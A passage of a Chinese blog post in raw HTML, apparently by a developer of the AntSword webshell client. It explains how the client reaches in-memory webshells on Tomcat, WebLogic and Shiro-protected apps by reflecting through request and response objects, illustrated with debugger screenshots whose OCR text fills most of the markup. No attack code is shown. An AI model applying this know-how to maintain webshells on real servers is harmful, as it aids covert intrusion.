data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1621067965986-fd696384-0f1f-46be-a812-2fe851ad6c40.png%22%2C%22originalType%22%3A%22binary%22%2C%22width%22%3A569%2C%22height%22%3A214%2C%22linkTarget%22%3A%22_blank%22%2C%22name%22%3A%22image.png%22%2C%22size%22%3A13443%2C%22originWidth%22%3A569%2C%22originHeight%22%3A214%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22%E8%AE%A1%E7%AE%97%20%E8%A1%A8%E8%BE%BE%E5%BC%8F%3A%20((ResponseFacade)response).response.request%20%E7%BB%93%E6%9E%9C%3A(%3F)%20O%E7%BB%93%E6%9E%9C-Request%403818%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A34.98606%2C%22y%22%3A4.868383%2C%22width%22%3A31.014279999999992%2C%22height%22%3A15.774476000000002%2C%22text%22%3A%22%E8%AE%A1%E7%AE%97%22%7D%2C%7B%22x%22%3A11.857553%2C%22y%22%3A43.449627%2C%22width%22%3A50.010977%2C%22height%22%3A15.569783000000001%2C%22text%22%3A%22%E8%A1%A8%E8%BE%BE%E5%BC%8F%3A%22%7D%2C%7B%22x%22%3A24.106302%2C%22y%22%3A73.42786%2C%22width%22%3A442.099418%2C%22height%22%3A23.123950000000008%2C%22text%22%3A%22((ResponseFacade)response).response.request%22%7D%2C%7B%22x%22%3A12.783605%2C%22y%22%3A135.77286%2C%22width%22%3A53.066685%2C%22height%22%3A16.420469999999995%2C%22text%22%3A%22%E7%BB%93%E6%9E%9C%3A(%3F)%22%7D%2C%7B%22x%22%3A39.840424%2C%22y%22%3A161.3976%2C%22width%22%3A193.77522599999998%2C%22height%22%3A17.176940000000002%2C%22text%22%3A%22O%E7%BB%93%E6%9E%9C-Request%403818%22%7D%5D%2C%22id%22%3A%22JJe53%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%7D"><img data-height="214px" data-ratio="0.37609841827768015" title="image.png" data-type="png" data-w="569" style="visibility: visible;width: 569px;" src="https://wechat2rss.xlab.app/img-proxy/?k=19c6a49f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy1wQ16j5Q02lP62kmekQgiac2W63aA5lHHYMjFcic5ZJUh8sbKhp0vE69ic8X0HsHqgsicHIbMvBk7Wog%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="325bc58368682dd62bb77c0d8cbb0304" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">当时就想着我shell中传个request，然后在payload里面利用反射把requst里面的response取出来，或者response里面的request取出来不就完事了？</p><p data-lake-id="6a710e7edd61bc101b1d3a1c229eb6f6" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">这样确实可以，在2020年9月4日，勤劳的我一大早就起来写了一波代码，然后发了上去，commit记录可以证明我没有瞎bb。当时蚁剑算是最早兼容内存马的。</p><p data-lake-id="e71315ffc687895850208ff451b3713f" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1621069223851-7c428578-4014-4856-9656-12ff9c824889.png%22%2C%22originalType%22%3A%22binary%22%2C%22width%22%3A651%2C%22height%22%3A370%2C%22linkTarget%22%3A%22_blank%22%2C%22name%22%3A%22image.png%22%2C%22size%22%3A67082%2C%22originWidth%22%3A1055%2C%22originHeight%22%3A599%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22%E5%A2%9E%E5%8A%A0%E5%AF%B9%E5%86%85%E5%AD%98%E9%A9%AC%E7%9A%84%E6%94%AF%E6%8C%81%20master%201.4%20v1.6%20relative-time.no-wrap_95.91x18.4%20yzddmr6committedon14Sep2020%20Showing33changedfileswith1408additionsad494deleion%20Perfommance%20%E5%AE%89%E5%85%A8%E6%80%A7%20Memory%20HackBar%20Console%20Network%20Elements%20Application%20Sources%20%E5%A2%9E%E5%8A%A0%E5%AF%B9%E5%86%85%E5%AD%98%E9%A9%AC%E7%9A%84%E6%94%AF%E6%8C%81%20%3C%2Fdiv%3E%20divelass%5C%22commit-branchespb-2%5C%22%3Eo.%2Fdiv%3E%20%3Cdivlass%5C%22commit-metap-2dflexflex-wrap%5C%22%20%3Cdivclass-%5C%22Avatarstackflex-self-start%5C%22.%2Fdiv%3E%20%3Cdivclass%5C%22flex-self-startno-wrapmr-md-4mr-o%5C%22%3E%20(spanclass-%5C%22commit-authoruser-mention%5C%22yzddmr6s%2Fspan%3E%20committed%20%E4%B8%8A%E5%8D%889%3A54%5C%22on14Sep2020%2Fre%20relative-timedatetim228-09-14T1%3A54%3A59%5C%22%5C%22-%20l-%5C%222020%E5%B9%B49%E6%9C%8814%E6%97%A5GMT%2B8%20titie%20%3Cdivdlass%5C%22d-noned-md-inline-block%5C%22xx%2Fdiv%3E%20%3C%2Fdiv%3E%20divas%5C%22Ie-utonWaptext.-rshttexteftoveox-ut%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A122.09313%2C%22y%22%3A30.402882%2C%22width%22%3A204.44221000000002%2C%22height%22%3A24.688528%2C%22text%22%3A%22%E5%A2%9E%E5%8A%A0%E5%AF%B9%E5%86%85%E5%AD%98%E9%A9%AC%E7%9A%84%E6%94%AF%E6%8C%81%22%7D%2C%7B%22x%22%3A143.3502%2C%22y%22%3A78.302246%2C%22width%22%3A47.72925000000001%2C%22height%22%3A11.788904000000002%2C%22text%22%3A%22master%22%7D%2C%7B%22x%22%3A211.60713%2C%22y%22%3A100.42346%2C%22width%22%3A18.86457999999999%2C%22height%22%3A13.049509999999998%2C%22text%22%3A%221.4%22%7D%2C%7B%22x%22%3A144.38051%2C%22y%22%3A101.41908%2C%22width%22%3A27.233870000000024%2C%22height%22%3A12.465130000000002%2C%22text%22%3A%22v1.6%22%7D%2C%7B%22x%22%3A323.25687%2C%22y%22%3A103.69396%2C%22width%22%3A266.43133000000006%2C%22height%22%3A17.70940999999999%2C%22text%22%3A%22relative-time.no-wrap_95.91x18.4%22%7D%2C%7B%22x%22%3A148.18236%2C%22y%22%3A140.90083%2C%22width%22%3A285.31629999999996%2C%22height%22%3A21.761749999999978%2C%22text%22%3A%22yzddmr6committedon14Sep2020%22%7D%2C%7B%22x%22%3A131.22604%2C%22y%22%3A206.69339%2C%22width%22%3A513.30222%2C%22height%22%3A18.60414%2C%22text%22%3A%22Showing33changedfileswith1408additionsad494deleion%22%7D%2C%7B%22x%22%3A340.0344%2C%22y%22%3A241.3518%2C%22width%22%3A90.69142999999997%2C%22height%22%3A17.92640000000003%2C%22text%22%3A%22Perfommance%22%7D%2C%7B%22x%22%3A665.3189%2C%22y%22%3A241.7199%2C%22width%22%3A46.747100000000046%2C%22height%22%3A16.75229999999999%2C%22text%22%3A%22%E5%AE%89%E5%85%A8%E6%80%A7%22%7D%2C%7B%22x%22%3A461.44608%2C%22y%22%3A241.74942%2C%22width%22%3A60.80838%2C%22height%22%3A18.198120000000017%2C%22text%22%3A%22Memory%22%7D%2C%7B%22x%22%3A744.71967%2C%22y%22%3A242.28091%2C%22width%22%3A58.47603000000004%2C%22height%22%3A15.470790000000022%2C%22text%22%3A%22HackBar%22%7D%2C%7B%22x%22%3A96.79213%2C%22y%22%3A242.373%2C%22width%22%3A53.99774000000001%2C%22height%22%3A15.432630000000017%2C%22text%22%3A%22Console%22%7D%2C%7B%22x%22%3A251.04948%2C%22y%22%3A242.28545%2C%22width%22%3A60.339560000000034%2C%22height%22%3A16.31699999999998%2C%22text%22%3A%22Network%22%7D%2C%7B%22x%22%3A12.342456%2C%22y%22%3A242.92033%2C%22width%22%3A60.779664%2C%22height%22%3A14.910299999999978%2C%22text%22%3A%22Elements%22%7D%2C%7B%22x%22%3A553.8074%2C%22y%22%3A242.56734%2C%22width%22%3A78.10109999999997%2C%22height%22%3A16.421280000000024%2C%22text%22%3A%22Application%22%7D%2C%7B%22x%22%3A172.81635%2C%22y%22%3A244.13028%2C%22width%22%3A55.075349999999986%2C%22height%22%3A13.965240000000023%2C%22text%22%3A%22Sources%22%7D%2C%7B%22x%22%3A129.80516%2C%22y%22%3A272.32898%2C%22width%22%3A139.95049%2C%22height%22%3A18.524540000000002%2C%22text%22%3A%22%E5%A2%9E%E5%8A%A0%E5%AF%B9%E5%86%85%E5%AD%98%E9%A9%AC%E7%9A%84%E6%94%AF%E6%8C%81%22%7D%2C%7B%22x%22%3A111.097946%2C%22y%22%3A295.84137%2C%22width%22%3A49.511703999999995%2C%22height%22%3A14.56958000000003%2C%22text%22%3A%22%3C%2Fdiv%3E%22%7D%2C%7B%22x%22%3A55.330284%2C%22y%22%3A314.2492%2C%22width%22%3A345.707346%2C%22height%22%3A15.659770000000037%2C%22text%22%3A%22divelass%5C%22commit-branchespb-2%5C%22%3Eo.%2Fdiv%3E%22%7D%2C%7B%22x%22%3A57.902378%2C%22y%22%3A334.69568%2C%22width%22%3A376.347442%2C%22height%22%3A15.425990000000013%2C%22text%22%3A%22%3Cdivlass%5C%22commit-metap-2dflexflex-wrap%5C%22%22%7D%2C%7B%22x%22%3A68.43029%2C%22y%22%3A354.10168%2C%22width%22%3A421.71735%2C%22height%22%3A17.32832000000002%2C%22text%22%3A%22%3Cdivclass-%5C%22Avatarstackflex-self-start%5C%22.%2Fdiv%3E%22%7D%2C%7B%22x%22%3A73.80223%2C%22y%22%3A376.35617%2C%22width%22%3A417.13106999999997%2C%22height%22%3A14.955629999999985%2C%22text%22%3A%22%3Cdivclass%5C%22flex-self-startno-wrapmr-md-4mr-o%5C%22%3E%22%7D%2C%7B%22x%22%3A91.873375%2C%22y%22%3A396.94373%2C%22width%22%3A454.332675%2C%22height%22%3A16.279139999999984%2C%22text%22%3A%22(spanclass-%5C%22commit-authoruser-mention%5C%22yzddmr6s%2Fspan%3E%22%7D%2C%7B%22x%22%3A107.60937%2C%22y%22%3A476.6834%2C%22width%22%3A75.80122999999999%2C%22height%22%3A12.368330000000014%2C%22text%22%3A%22committed%22%7D%2C%7B%22x%22%3A826.86426%2C%22y%22%3A511.60294%2C%22width%22%3A227.3901400000001%2C%22height%22%3A22.793459999999982%2C%22text%22%3A%22%E4%B8%8A%E5%8D%889%3A54%5C%22on14Sep2020%2Fre%22%7D%2C%7B%22x%22%3A91.28807%2C%22y%22%3A513.1586%2C%22width%22%3A506.47443000000004%2C%22height%22%3A18.398400000000038%2C%22text%22%3A%22relative-timedatetim228-09-14T1%3A54%3A59%5C%22%5C%22-%22%7D%2C%7B%22x%22%3A646.9234%2C%22y%22%3A514.5692%2C%22width%22%3A171.24529999999993%2C%22height%22%3A14.318599999999947%2C%22text%22%3A%22l-%5C%222020%E5%B9%B49%E6%9C%8814%E6%97%A5GMT%2B8%22%7D%2C%7B%22x%22%3A614.2366%2C%22y%22%3A516.09595%2C%22width%22%3A45.38210000000004%2C%22height%22%3A12.902349999999956%2C%22text%22%3A%22titie%22%7D%2C%7B%22x%22%3A93.25552%2C%22y%22%3A535.13336%2C%22width%22%3A362.40436%2C%22height%22%3A14.904239999999959%2C%22text%22%3A%22%3Cdivdlass%5C%22d-noned-md-inline-block%5C%22xx%2Fdiv%3E%22%7D%2C%7B%22x%22%3A78.76337%2C%22y%22%3A556.3092%2C%22width%22%3A44.905095%2C%22height%22%3A13.512899999999945%2C%22text%22%3A%22%3C%2Fdiv%3E%22%7D%2C%7B%22x%22%3A76.59706%2C%22y%22%3A576.68317%2C%22width%22%3A643.5604699999999%2C%22height%22%3A12.929629999999975%2C%22text%22%3A%22divas%5C%22Ie-utonWaptext.-rshttexteftoveox-ut%22%7D%5D%2C%22id%22%3A%22diy6y%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%7D"><img data-height="370px" data-ratio="0.5677725118483412" title="image.png" data-type="png" data-w="1055" style="visibility: visible;width: 651px;" src="https://wechat2rss.xlab.app/img-proxy/?k=7ccc8eff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy1wQ16j5Q02lP62kmekQgiac6gte9mk94wbwGb39603B4b6RKk2rXroDkyRYpWiaChQRTcyuziaL1FMA%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="96738eea0abf9606c6c4d6e87ad08a94" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">因为Tomcat喜欢用门面模式，所以要反射两层，结果后来发现在WebLogic下用不了了，因为WebLogic不喜欢搞门面模式，只需要反射一层就够了。</p><p data-lake-id="9de8416e362ca4e20a3b6898320dec43" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="8c063ef6ce8356e0caf9616aaca9d151" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">行吧，那我就再加一种情况，在JSP V1.4版本又增加了一层反射的情况。</p><p data-lake-id="5cabfdc120576c87400b61c5ee9aa405" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="bfd429c8b065d6fa96de3f4967bba773" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">本来以为没事了，后来又发现在有shiro的情况下打一个servlet内存马进去，这时候去连接内存马需要反射三次？？</p><p data-lake-id="dcbe1f4e562f79d8960addacfdad6b65" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616503206581-8e5bc7f0-f93f-47df-84b1-3e80206cea7a.png%22%2C%22originalType%22%3A%22binary%22%2C%22width%22%3A683%2C%22height%22%3A348%2C%22linkTarget%22%3A%22_blank%22%2C%22name%22%3A%22image.png%22%2C%22size%22%3A121829%2C%22originWidth%22%3A1338%2C%22originHeight%22%3A682%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22253%20throwsServletException%2CIOException%20puBLIcVOdsIcSLtRequeste%20254%20fCeginstancefHttsyLeteuestesnstceo%20255%20HttpSEryLetRequestrequesttpseletequestre%3B%20256%20HttpSeryLetesponseresponse(tsleeponse)res%20257%20this.service(request%2Cresponse)i%20258%20elsef%20259%20thrownewserVLetExceptionC%5C%22non-HTTPrequestorresponse%5C%22)%3B%20260%20261%20262%20%E4%B8%89%E6%B1%95%E5%B1%B1%E5%9B%BD%E7%BE%8E%20%E8%B0%83%E8%AF%95%E5%99%A8%20%E6%9C%8D%E5%8A%A1%E5%99%A8%20ToMcatCatalinaLogX%20TomcatLocalhostLog%20%E9%A1%BA%20%E5%8F%98%E9%87%8F%20this-pspservlet%4036411%20http-nio-8888-ex...196%E5%9C%A8%E7%BB%84%5C%22main%3A%E8%BF%90%E8%A1%8C%E4%B8%AD%20reg-shiroHttpServletRequest%403594%20service%3A72%2CHttpJspBaseorg.apachejperrti)%20TressResponsefacade%4035951%20service%3A733Httpsevletjavaxe.htt%20requestShiroHttpSeveReqest%4034%20service%3A476Jpservletwrapper(org.apache.jasperservet%20servletcontext-ApplicationcontextFacade%403602%20serviceJspFile%3A386Jspserletorg.apacher%20session%E4%B8%89null%20service%3A330%2CpServletorg.apache.jasper.se%20httpSessions-true%20service%3A733%2CHttpservletavax.eet.htt%20request-RequestFacade%403612%20interAIDoFilter%3A231liaioFiltechainogachecatalin%20responseResponseFacade%403595)%20doFilter%3A166Applicationfilterchainorg.apache.catalina.core%20doFilter%3A52Wltrog.apache.tomatwockee%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A161.15256%2C%22y%22%3A15.679597%2C%22width%22%3A28.00108%2C%22height%22%3A14.791659000000001%2C%22text%22%3A%22253%22%7D%2C%7B%22x%22%3A906.49274%2C%22y%22%3A38.45765%2C%22width%22%3A384.34705999999994%2C%22height%22%3A21.191077%2C%22text%22%3A%22throwsServletException%2CIOException%22%7D%2C%7B%22x%22%3A295.01505%2C%22y%22%3A42.112823%2C%22width%22%3A601.1042100000001%2C%22height%22%3A18.767792%2C%22text%22%3A%22puBLIcVOdsIcSLtRequeste%22%7D%2C%7B%22x%22%3A160.61093%2C%22y%22%3A42.451294%2C%22width%22%3A30.589470000000006%2C%22height%22%3A14.973572000000004%2C%22text%22%3A%22254%22%7D%2C%7B%22x%22%3A338.0302%2C%22y%22%3A66.52805%2C%22width%22%3A775.4200000000001%2C%22height%22%3A20.63748000000001%2C%22text%22%3A%22fCeginstancefHttsyLeteuestesnstceo%22%7D%2C%7B%22x%22%3A159.28818%2C%22y%22%3A67.90057%2C%22width%22%3A31.47539999999998%2C%22height%22%3A16.360743999999997%2C%22text%22%3A%22255%22%7D%2C%7B%22x%22%3A374.67484%2C%22y%22%3A94.41291%2C%22width%22%3A533.94236%2C%22height%22%3A19.40359500000001%2C%22text%22%3A%22HttpSEryLetRequestrequesttpseletequestre%3B%22%7D%2C%7B%22x%22%3A160.2909%2C%22y%22%3A95.12346%2C%22width%22%3A30.643640000000005%2C%22height%22%3A15.679670000000002%2C%22text%22%3A%22256%22%7D%2C%7B%22x%22%3A375.5254%2C%22y%22%3A119.67434%2C%22width%22%3A562.0944000000001%2C%22height%22%3A21.953450000000004%2C%22text%22%3A%22HttpSeryLetesponseresponse(tsleeponse)res%22%7D%2C%7B%22x%22%3A160.90886%2C%22y%22%3A121.01814%2C%22width%22%3A29.261349999999993%2C%22height%22%3A15.482860000000002%2C%22text%22%3A%22257%22%7D%2C%7B%22x%22%3A378.86282%2C%22y%22%3A146.0039%2C%22width%22%3A318.84688%2C%22height%22%3A20.270130000000023%2C%22text%22%3A%22this.service(request%2Cresponse)i%22%7D%2C%7B%22x%22%3A160.88223%2C%22y%22%3A147.3762%2C%22width%22%3A29.73108000000002%2C%22height%22%3A15.33114999999998%2C%22text%22%3A%22258%22%7D%2C%7B%22x%22%3A335.67142%2C%22y%22%3A172.72903%2C%22width%22%3A88.37029999999999%2C%22height%22%3A17.98925%2C%22text%22%3A%22elsef%22%7D%2C%7B%22x%22%3A160.28906%2C%22y%22%3A174.20425%2C%22width%22%3A29.748339999999985%2C%22height%22%3A14.885950000000008%2C%22text%22%3A%22259%22%7D%2C%7B%22x%22%3A378.1626%2C%22y%22%3A196.9493%2C%22width%22%3A590.3057%2C%22height%22%3A22.540340000000015%2C%22text%22%3A%22thrownewserVLetExceptionC%5C%22non-HTTPrequestorresponse%5C%22)%3B%22%7D%2C%7B%22x%22%3A161.0893%2C%22y%22%3A200.13206%2C%22width%22%3A29.32666999999998%2C%22height%22%3A14.805239999999998%2C%22text%22%3A%22260%22%7D%2C%7B%22x%22%3A160.86014%2C%22y%22%3A226.35355%2C%22width%22%3A28.230649999999997%2C%22height%22%3A14.13852%2C%22text%22%3A%22261%22%7D%2C%7B%22x%22%3A160.83076%2C%22y%22%3A251.89311%2C%22width%22%3A29.6507%2C%22height%22%3A15.627759999999995%2C%22text%22%3A%22262%22%7D%2C%7B%22x%22%3A565.71924%2C%22y%22%3A330.01474%2C%22width%22%3A298.70736%2C%22height%22%3A22.005979999999965%2C%22text%22%3A%22%E4%B8%89%E6%B1%95%E5%B1%B1%E5%9B%BD%E7%BE%8E%22%7D%2C%7B%22x%22%3A14.684673%2C%22y%22%3A331.98468%2C%22width%22%3A42.16672199999999%2C%22height%22%3A16.837459999999965%2C%22text%22%3A%22%E8%B0%83%E8%AF%95%E5%99%A8%22%7D%2C%7B%22x%22%3A85.571106%2C%22y%22%3A332.36963%2C%22width%22%3A42.475464%2C%22height%22%3A15.697720000000004%2C%22text%22%3A%22%E6%9C%8D%E5%8A%A1%E5%99%A8%22%7D%2C%7B%22x%22%3A394.60825%2C%22y%22%3A332.90643%2C%22width%22%3A153.00734999999997%2C%22height%22%3A16.445370000000025%2C%22text%22%3A%22ToMcatCatalinaLogX%22%7D%2C%7B%22x%22%3A182.9832%2C%22y%22%3A334.1772%2C%22width%22%3A138.66346999999996%2C%22height%22%3A15.079879999999946%2C%22text%22%3A%22TomcatLocalhostLog%22%7D%2C%7B%22x%22%3A15.529458%2C%22y%22%3A368.163%2C%22width%22%3A16.630402000000004%2C%22height%22%3A16.630402000000004%2C%22text%22%3A%22%E9%A1%BA%22%7D%2C%7B%22x%22%3A511.92145%2C%22y%22%3A368.85672%2C%22width%22%3A28.98894999999999%2C%22height%22%3A15.694479999999999%2C%22text%22%3A%22%E5%8F%98%E9%87%8F%22%7D%2C%7B%22x%22%3A579.3338%2C%22y%22%3A400.42984%2C%22width%22%3A186.38160000000005%2C%22height%22%3A15.817859999999996%2C%22text%22%3A%22this-pspservlet%4036411%22%7D%2C%7B%22x%22%3A35.949684%2C%22y%22%3A403.1942%2C%22width%22%3A312.847156%2C%22height%22%3A20.732159999999965%2C%22text%22%3A%22http-nio-8888-ex...196%E5%9C%A8%E7%BB%84%5C%22main%3A%E8%BF%90%E8%A1%8C%E4%B8%AD%22%7D%2C%7B%22x%22%3A579.41675%2C%22y%22%3A425.0589%2C%22width%22%3A292.02495%2C%22height%22%3A19.099800000000016%2C%22text%22%3A%22reg-shiroHttpServletRequest%403594%22%7D%2C%7B%22x%22%3A19.265747%2C%22y%22%3A438.81845%2C%22width%22%3A380.888553%2C%22height%22%3A19.19659999999999%2C%22text%22%3A%22service%3A72%2CHttpJspBaseorg.apachejperrti)%22%7D%2C%7B%22x%22%3A577.42737%2C%22y%22%3A449.20187%2C%22width%22%3A233.57159000000001%2C%22height%22%3A21.121710000000007%2C%22text%22%3A%22TressResponsefacade%4035951%22%7D%2C%7B%22x%22%3A19.221237%2C%22y%22%3A466.17105%2C%22width%22%3A341.492233%2C%22height%22%3A18.61682000000002%2C%22text%22%3A%22service%3A733Httpsevletjavaxe.htt%22%7D%2C%7B%22x%22%3A581.3923%2C%22y%22%3A476.11215%2C%22width%22%3A320.39475000000004%2C%22height%22%3A17.849490000000003%2C%22text%22%3A%22requestShiroHttpSeveReqest%4034%22%7D%2C%7B%22x%22%3A19.8202%2C%22y%22%3A491.6572%2C%22width%22%3A431.076%2C%22height%22%3A19.980999999999995%2C%22text%22%3A%22service%3A476Jpservletwrapper(org.apache.jasperservet%22%7D%2C%7B%22x%22%3A602.03314%2C%22y%22%3A498.73624%2C%22width%22%3A383.29276000000004%2C%22height%22%3A19.58185999999995%2C%22text%22%3A%22servletcontext-ApplicationcontextFacade%403602%22%7D%2C%7B%22x%22%3A19.195639%2C%22y%22%3A517.771%2C%22width%22%3A412.703161%2C%22height%22%3A19.832760000000007%2C%22text%22%3A%22serviceJspFile%3A386Jspserletorg.apacher%22%7D%2C%7B%22x%22%3A601.161%2C%22y%22%3A526.67664%2C%22width%22%3A101.94920000000002%2C%22height%22%3A15.229119999999966%2C%22text%22%3A%22session%E4%B8%89null%22%7D%2C%7B%22x%22%3A18.982306%2C%22y%22%3A546.1727%2C%22width%22%3A365.36663400000003%2C%22height%22%3A16.22440000000006%2C%22text%22%3A%22service%3A330%2CpServletorg.apache.jasper.se%22%7D%2C%7B%22x%22%3A600.5195%2C%22y%22%3A551.39545%2C%22width%22%3A150.59195%2C%22height%22%3A15.45844999999997%2C%22text%22%3A%22httpSessions-true%22%7D%2C%7B%22x%22%3A18.923065%2C%22y%22%3A572.2352%2C%22width%22%3A340.124055%2C%22height%22%3A17.1567%2C%22text%22%3A%22service%3A733%2CHttpservletavax.eet.htt%22%7D%2C%7B%22x%22%3A599.8635%2C%22y%22%3A574.4193%2C%22width%22%3A254.06899999999996%2C%22height%22%3A18.522899999999936%2C%22text%22%3A%22request-RequestFacade%403612%22%7D%2C%7B%22x%22%3A19.277128%2C%22y%22%3A597.1375%2C%22width%22%3A476.703572%2C%22height%22%3A16.493799999999965%2C%22text%22%3A%22interAIDoFilter%3A231liaioFiltechainogachecatalin%22%7D%2C%7B%22x%22%3A562.9446%2C%22y%22%3A598.6459%2C%22width%22%3A289.6909999999999%2C%22height%22%3A18.416500000000042%2C%22text%22%3A%22responseResponseFacade%403595)%22%7D%2C%7B%22x%22%3A19.981348%2C%22y%22%3A622.88885%2C%22width%22%3A453.99668199999996%2C%22height%22%3A16.59321%2C%22text%22%3A%22doFilter%3A166Applicationfilterchainorg.apache.catalina.core%22%7D%2C%7B%22x%22%3A19.993774%2C%22y%22%3A651.1068%2C%22width%22%3A434.78832600000004%2C%22height%22%3A15.663799999999924%2C%22text%22%3A%22doFilter%3A52Wltrog.apache.tomatwockee%22%7D%5D%2C%22id%22%3A%22F9lqj%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%7D"><img data-height="348px" data-ratio="0.5097159940209267" title="image.png" data-type="png" data-w="1338" style="visibility: visible;width: 683px;" src="https://wechat2rss.xlab.app/img-proxy/?k=b526407a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy1wQ16j5Q02lP62kmekQgiacErn0qX7SrzYPrgKeH9C2V80vw2abEvkAqWNrGx4KjrhJjqE1bGsFmQ%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="dfa3ae66f53789b391902df387ef5155" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">WTF？？？</p><p data-lake-id="fd198fa696b276034421660b2046a259" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616503331361-d40d72f7-ed5f-4521-a1ac-c5dd2b2df52d.png%22%2C%22originalType%22%3A%22binary%22%2C%22width%22%3A434%2C%22height%22%3A538%2C%22linkTarget%22%3A%22_blank%22%2C%22name%22%3A%22image.png%22%2C%22size%22%3A56680%2C%22originWidth%22%3A594%2C%22originHeight%22%3A737%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22%E8%AF%84%E4%BC%B0%20%E8%A1%A8%E8%BE%BE%E5%BC%8F%3A%20Java%20request.request.response%20reguest.%20%E4%BD%BF%E7%94%A8%E6%8E%A7%E5%88%B6%E8%BE%93%E5%85%A5%E6%B7%BB%E5%8A%A0%E5%88%B0%E6%89%8B%E8%A1%A8%20%E7%BB%93%E6%9E%9C(R)%3A%2000%E7%BB%93%E6%9E%9C-Response%4036331%20format-null%20coyoteResponse-Response%403653%20outputBuffer-OutputBuffer%403654%20outputStream-CovoteOutputstream%403655%EF%BF%A5%20writer-(Coyotewriter%403656%20appcommitted-false%20included-false%20isCharacterencodingSet-true%20usingOutputStream-false%20usingWriter-true%20urlencoder%E4%BA%8C%20UEncoder%40%20%403657%20CharChunk%4036587...toStringo%20redirectURLCC%20cookies-fArrayList%403659size-o%20applicationResponse-ResponseFacade%403595%20requestRequest%403613%20facade-ResponseFacade%403595%EF%BF%A5%20%E5%85%B3%E9%97%AD%20%E8%AF%84%E4%BC%B0%2F%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A38.04343%2C%22y%22%3A11.27415%2C%22width%22%3A31.275589999999994%2C%22height%22%3A15.527721999999999%2C%22text%22%3A%22%E8%AF%84%E4%BC%B0%22%7D%2C%7B%22x%22%3A15.958623%2C%22y%22%3A49.353725%2C%22width%22%3A48.354117%2C%22height%22%3A15.429119999999998%2C%22text%22%3A%22%E8%A1%A8%E8%BE%BE%E5%BC%8F%3A%22%7D%2C%7B%22x%22%3A535.3785%2C%22y%22%3A51.476627%2C%22width%22%3A33.50109999999995%2C%22height%22%3A13.105503000000006%2C%22text%22%3A%22Java%22%7D%2C%7B%22x%22%3A109.41781%2C%22y%22%3A82.776886%2C%22width%22%3A242.57062%2C%22height%22%3A21.239583999999994%2C%22text%22%3A%22request.request.response%22%7D%2C%7B%22x%22%3A28.42752%2C%22y%22%3A86.723625%2C%22width%22%3A72.98684%2C%22height%22%3A12.875405%2C%22text%22%3A%22reguest.%22%7D%2C%7B%22x%22%3A435.91507%2C%22y%22%3A116.23603%2C%22width%22%3A144.13118999999995%2C%22height%22%3A14.321140000000014%2C%22text%22%3A%22%E4%BD%BF%E7%94%A8%E6%8E%A7%E5%88%B6%E8%BE%93%E5%85%A5%E6%B7%BB%E5%8A%A0%E5%88%B0%E6%89%8B%E8%A1%A8%22%7D%2C%7B%22x%22%3A14.430602%2C%22y%22%3A142.71677%2C%22width%22%3A55.324487999999995%2C%22height%22%3A16.057800000000015%2C%22text%22%3A%22%E7%BB%93%E6%9E%9C(R)%3A%22%7D%2C%7B%22x%22%3A46.70573%2C%22y%22%3A167.30635%2C%22width%22%3A206.05264999999997%2C%22height%22%3A17.482349999999997%2C%22text%22%3A%2200%E7%BB%93%E6%9E%9C-Response%4036331%22%7D%2C%7B%22x%